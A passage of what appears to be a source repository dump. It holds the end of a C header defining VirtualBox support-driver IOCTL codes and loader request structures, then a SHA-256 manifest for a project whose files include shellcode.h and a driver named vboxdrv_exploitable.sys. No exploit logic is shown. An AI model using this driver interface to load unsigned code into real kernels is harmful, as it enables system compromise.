SUP_IOCTL_COOKIE_SIZE_IN sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.In) 160 | #define SUP_IOCTL_COOKIE_SIZE_OUT sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPCOOKIE, u.Out) 161 | 162 | #define SUP_IOCTL_FLAG 128 163 | 164 | #define SUP_CTL_CODE_SIZE(Function, Size) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS) 165 | #define SUP_CTL_CODE_BIG(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_BUFFERED, FILE_WRITE_ACCESS) 166 | #define SUP_CTL_CODE_FAST(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, (Function) | SUP_IOCTL_FLAG, METHOD_NEITHER, FILE_WRITE_ACCESS) 167 | #define SUP_CTL_CODE_NO_SIZE(uIOCtl) (uIOCtl) 168 | 169 | /** The magic value. */ 170 | #define SUPREQHDR_FLAGS_MAGIC UINT32_C(0x42000042) 171 | /** The default value. Use this when no special stuff is requested. */ 172 | #define SUPREQHDR_FLAGS_DEFAULT SUPREQHDR_FLAGS_MAGIC 173 | #define VERR_INTERNAL_ERROR (-225) 174 | #define SUPCOOKIE_MAGIC "The Magic Word!" 175 | #define SUPDRV_IOC_VERSION 0x001a0007 176 | /** The request size. */ 177 | #define SUP_IOCTL_COOKIE_SIZE sizeof(SUPCOOKIE) 178 | /** Negotiate cookie. */ 179 | #define SUP_IOCTL_COOKIE SUP_CTL_CODE_SIZE(1, SUP_IOCTL_COOKIE_SIZE) 180 | 181 | /** There is extra input that needs copying on some platforms. */ 182 | #define SUPREQHDR_FLAGS_EXTRA_IN UINT32_C(0x00000100) 183 | /** There is extra output that needs copying on some platforms. */ 184 | #define SUPREQHDR_FLAGS_EXTRA_OUT UINT32_C(0x00000200) 185 | 186 | /** @name SUP_IOCTL_SET_VM_FOR_FAST 187 | * Set the VM handle for doing fast call ioctl calls. 188 | * @{ 189 | */ 190 | #define SUP_IOCTL_SET_VM_FOR_FAST SUP_CTL_CODE_SIZE(19, SUP_IOCTL_SET_VM_FOR_FAST_SIZE) 191 | #define SUP_IOCTL_SET_VM_FOR_FAST_SIZE sizeof(SUPSETVMFORFAST) 192 | #define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN sizeof(SUPSETVMFORFAST) 193 | #define SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT sizeof(SUPREQHDR) 194 | #define SUP_IOCTL_FAST_DO_NOP SUP_CTL_CODE_FAST(66) 195 | 196 | #define SUP_IOCTL_LDR_OPEN SUP_CTL_CODE_SIZE(5, SUP_IOCTL_LDR_OPEN_SIZE) 197 | #define SUP_IOCTL_LDR_OPEN_SIZE sizeof(SUPLDROPEN) 198 | #define SUP_IOCTL_LDR_OPEN_SIZE_IN sizeof(SUPLDROPEN) 199 | #define SUP_IOCTL_LDR_OPEN_SIZE_OUT (sizeof(SUPREQHDR) + RT_SIZEOFMEMB(SUPLDROPEN, u.Out)) 200 | 201 | #define SUP_IOCTL_LDR_LOAD SUP_CTL_CODE_BIG(6) 202 | #define SUP_IOCTL_LDR_LOAD_SIZE(cbImage) RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage]) 203 | #define SUP_IOCTL_LDR_LOAD_SIZE_IN(cbImage) RT_UOFFSETOF(SUPLDRLOAD, u.In.achImage[cbImage]) 204 | #define SUP_IOCTL_LDR_LOAD_SIZE_OUT sizeof(SUPREQHDR) 205 | 206 | /** @name SUP_IOCTL_LDR_FREE 207 | * Free an image. 208 | * @{ 209 | */ 210 | #define SUP_IOCTL_LDR_FREE SUP_CTL_CODE_SIZE(7, SUP_IOCTL_LDR_FREE_SIZE) 211 | #define SUP_IOCTL_LDR_FREE_SIZE sizeof(SUPLDRFREE) 212 | #define SUP_IOCTL_LDR_FREE_SIZE_IN sizeof(SUPLDRFREE) 213 | #define SUP_IOCTL_LDR_FREE_SIZE_OUT sizeof(SUPREQHDR) 214 | 215 | typedef struct _SUPLDRFREE { 216 | /** The header. */ 217 | SUPREQHDR Hdr; 218 | union 219 | { 220 | struct 221 | { 222 | /** Address. */ 223 | RTR0PTR pvImageBase; 224 | } In; 225 | } u; 226 | } SUPLDRFREE, *PSUPLDRFREE; 227 | -------------------------------------------------------------------------------- /TDL.sha256: -------------------------------------------------------------------------------- 1 | a761bbb4a1b7813132dc8d8ed526d24289dc603bc706da238e1f23d75dbd66aa *Compiled\dummy.sys 2 | f6610691bc3b9f96dad8bfc00b3ceb939ebcb17844d1ca5ee26f8364944ca110 *Compiled\dummy2.sys 3 | 37805cc7ae226647753aca1a32d7106d804556a98e1a21ac324e5b880b9a04da *Compiled\Furutaka.exe 4 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *Source\DummyDrv\dummy.sln 5 | d61ebda2674d2db05a235478f89fed02c2de049b00ac5648fcebd4c4e638f71c *Source\DummyDrv\dummy\dummy.vcxproj 6 | 2d469aafdb7e37a2d58d4e7875abbfd27599762333cba8e28376c16fa7446e9c *Source\DummyDrv\dummy\dummy.vcxproj.filters 7 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\DummyDrv\dummy\dummy.vcxproj.user 8 | 4c86a0477e8f21e81bc6651bc06cea26241fc5b9a033e64c3cd843267fc98575 *Source\DummyDrv\dummy\main.c 9 | 14eec2753d0e9b432c54c4a70fc59e3be75674313b6308a7a820e6682f775eb9 *Source\DummyDrv2\dummy.sln 10 | f9a718ca087a1dce71638855837c464b190b7310f8e6715fc4471ed2b85af27d *Source\DummyDrv2\dummy\dummy.vcxproj 11 | f53e8133a9d12b751445ed57f4574bbeba722d26096196f544ed1794adf699f4 *Source\DummyDrv2\dummy\dummy.vcxproj.filters 12 | d45cf40c855a135898e4b35d0b5b2d00e3ad251a97d3f47990248116f22ff45e *Source\DummyDrv2\dummy\dummy.vcxproj.user 13 | 1e73ce5b6b079e6986509c218ce0880536b37c505056f831989e73b835c1cbbc *Source\DummyDrv2\dummy\main.c 14 | f0732da25aa6b0a64eb0ebfc730c0902ed6fd1cc51f43f66813adbc5283de6ec *Source\DummyDrv2\dummy\main.h 15 | 10b9fe09b9357cb3c35a00a8b09ae24141ec5941a37c461c2a296d822aa2b512 *Source\DummyDrv2\dummy\r3request.c 16 | 27b89ba25c1620f7f46af4a239d6a18b71b9b689ea33eb7ab099e0b039cdf21f *Source\Furutaka\cui.c 17 | 3058dea6894b1ca7bcff8896b35080c0ddfa1c541e7e505792cbac65dea9d0d9 *Source\Furutaka\cui.h 18 | 24bd86affa81071e8e4ba82368e6004ede1c4dd5234c21098c4e7563ee25721a *Source\Furutaka\Furutaka.sln 19 | fa3af80e10c1824e99fcf2e4d5cec3cb4974d1eb35035f5a62fac67a44170c68 *Source\Furutaka\Furutaka.vcxproj 20 | b28c810f46cd167ac65996dd850ac0743756a76a928ea445bb3d255d5200c5b7 *Source\Furutaka\Furutaka.vcxproj.filters 21 | feebf1c788d97bd616267c136e88fdf21f4ba09f528507cdf8a2659d1dd0a8cd *Source\Furutaka\Furutaka.vcxproj.user 22 | 4b16411f96538d38f05b5d949710ace54839d4a9aee9dcc2a61a4b2f4dbfc9cc *Source\Furutaka\global.h 23 | 94cbbb81022dbd0205a3e7ede89775b43f9f45e934a3079fdb7f5217d8794fe0 *Source\Furutaka\instdrv.c 24 | 33b8666748f027ff93707e6e2a1b52303c3664399000ff18b4a8fe864b731640 *Source\Furutaka\instdrv.h 25 | 2525f63ec3f9fb008edaffb7ff7f970d6777ddaf8511f60a95326f60f6ed80f0 *Source\Furutaka\main.c 26 | 5b0b4376df8fb5b43d8a0d4130ad3523d4325718ea4991d11498961f33e7e38d *Source\Furutaka\ntos.h 27 | fe6f865af4e22a2f7e1349891e935d7825caf08a06993d4e24d1596dab77963e *Source\Furutaka\resource.h 28 | 140441e10f8ff80be91ed5d1fa30cd099bb6e02b97434926d14048006bdaec8f *Source\Furutaka\resource.rc 29 | 6f8ae02b3a6da025d5f918080e70245760d472dd5eb23fcc3964d425bee41336 *Source\Furutaka\shellcode.h 30 | 109d895924e1b581ad42374b7bf0307fe62ab352f7dee082161f9066e3778d5d *Source\Furutaka\sup.c 31 | 526bb1070e50c733ae931ea4bfb48d8aba0b1efbd2818818d2af2b6d160b5673 *Source\Furutaka\sup.h 32 | 12a9c986e4589a613e4d8e0e30a7bfa41191283a53b2eafab3483b0884a93d82 *Source\Furutaka\vbox.h 33 | cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986 *Source\Furutaka\drv\vboxdrv_exploitable.sys 34 | 893b90b942372928009bad64f166c7018701497e4f7cd1753cdc44f76da06707 *Source\Furutaka\minirtl\cmdline.c 35 | bd6fe82852c4fcdfab559defa33ea394b752a4e4a5ac0653ae20c4a94b0175ed *Source\Furutaka\minirtl\cmdline.h 36 | 107245437ed86b6f1e839b2d3d9bbadb3d9980046cb5c7001f985fed3627962f *Source\Furutaka\minirtl\minirtl.h 37 | b9de99d3447bb1a125cb92aa1b3f9b56a59522436f1a1a97f23aac9cee90341c *Source\Furutaka\minirtl\rtltypes.h 38 | e56e67b10a67f0d5ef4128c7ab0c6cb9ba9966916720525edfa6abf3101dfe13 *Source\Furutaka\minirtl\u64tohex.c 39 | 4d15af5a22467795c5367c3956746d01424795784f62ca3f30e4619c063338a5 *Source\Furutaka\minirtl\u64tostr.c 40 | f81c975acd016c97776dd3a8e3218e148682b0336ff3fcd77fad6d9b86ddf107 *Source\Furutaka\minirtl\ultohex.c 41 | 9cbedf9b92abaef3ea28de28dd523ac44079592178ef727c7003c339a5a54712 *Source\Furutaka\minirtl\ultostr.c 42 | 83772aa217508279294d91af5cfabec9b5e00b836a2e2f5fe37cf1ebc2905a52 *Source\Furutaka\minirtl\_strcat.c 43 | ef1b18997ea473ac8d516ef60efc64b9175418b8f078e088d783fdaef2544969 *Source\Furutaka\minirtl\_strcmpi.c 44 | 969b35213fa23ff50a169e5498a97f28bc6f5820b447b78ec9dc6910dd8cc3e8 *Source\Furutaka\minirtl\_strcpy.c 45 | 27159b8ff67d3f8e6c7fdb4b57b9f57f899bdfedf92cf10276269245c6f4e066 *Source\Furutaka\minirtl\_strend.c 46 | 60f19c6b805801e13824c4d9d44748da8245cd936971411d3d36b873121888eb *Source\Furutaka\minirtl\_strlen.c 47 | 87cc72bb8e3f1534bee09ee278ecd928d975ebb94aeffc767b67249815a0bf3a *Source\Furutaka\minirtl\_strncmpi.c 48 | --------------------------------------------------------------------------------